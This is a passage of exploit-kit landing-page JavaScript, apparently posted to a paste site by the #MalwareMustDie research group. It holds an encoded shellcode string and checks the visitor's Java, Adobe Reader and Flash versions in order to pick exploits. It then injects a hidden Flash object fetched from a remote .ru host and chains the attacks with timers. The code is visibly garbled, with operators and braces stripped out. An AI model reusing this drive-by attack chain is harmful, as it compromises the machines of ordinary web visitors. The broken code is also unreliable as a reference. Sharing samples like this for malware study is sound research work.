  1788. e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%
  1789. 042e!%0382!%ef08!%9ea0!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split("").
  1790.   reverse().join("");
  1791.   return a["replace"](/\%!/g, "%" + "u")
  1792. ;
  1793. function ff2()
  1794.   var oSpan = document.createElement("span");
  1795.   var url = "http://pelamutrika.ru:8080/forum/links/column.php?zavzld=" + x("c833f") +
  1796.   "&nppps=" + x("xwam") + "&qxxirn=2v:1k:1m:32:33:1k:1k:31:1j:1o&lksuim=eeykunze";
  1797.   oSpan.innerHTML = "
  1798. <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
  1799. '><param name='movie' value='" + url + "
  1800. ' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed
  1801. src='" + url + "
  1802. ' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash
  1803. ' width='10' height='10'></embed></object>";
  1804.   document.body.appendChild(oSpan);
  1805. document.write('');
  1806. setTimeout(end_redirect, 61000);
  1807. var pdfver = [];
  1808. function svwrbew6436b($)
  1809.   var ar = [];
  1810.   var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1811.   if ($.isMinVersion("Ja" + "va")= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3]9
  1812.   )))
  1813.     ar["push"](j2);
  1814.   }
  1815.   else if ($.isMinVersion("Ja" + "va")= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3
  1816.   ]33) || (javax[0] == 1 && javax[1]6)))
  1817.     ar["push"](j1);
  1818.   }
  1819.   pdfver = PluginDetect.getVersion("AdobeReader");
  1820.   if (window.document)if (typeof pdfver == "string")
  1821.     pdfver = pdfver["split"](".")
  1822.   }
  1823.   else
  1824.     pdfver = [0, 0, 0, 0]
  1825.   }
  1826.   if (pdfver[0]0 && pdfver[0]8)
  1827.     if (window.document)ar["push"](p1);
  1828.   }
  1829.   if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1]4)))
  1830.     ar["push"](p2);
  1831.   }
  1832.   var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  1833.   if (((ver[0] == 10 && ver[1] == 0 && ver[2]40) || (window.document && (ver[0] == 10 &&
  1834.   ver[1]0) && (ver[0] == 10 && ver[1]2))) || window.document && ((ver[0] == 10 &&
  1835.   ver[1] == 2 && ver[2]159) || (ver[0] == 10 && ver[1]2)))
  1836.     ar["push"](ff2);
  1837.   }
  1838.   if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3]= 23) || (ver[0] == 10 &&
  1839.   ver[1] == 3 && ver[2]181))
  1840.     ar["push"](f1);
  1841.   }
  1842.   var arcalli = 0;
  1843.   var arcall = function ()
  1844.     if (ar.length= arcalli)return 123;
  1845.     ss = setTimeout;
  1846.     var res = ar[arcalli]();
  1847.     arcalli++;
  1848.     if (res && window.document)
  1849.       ss(function ()
  1850.         arcall()
  1851.       }
  1852.       , 5509);
  1853.     }
  1854.     else
  1855.       arcall();
  1856.     }
  1857.   }
  1858.   ;
  1859.   arcall();
  1860. $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../data/getJavaInfo.jar");
  1861.  
  1862. //-----
  1863. // #MalwareMustDie
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement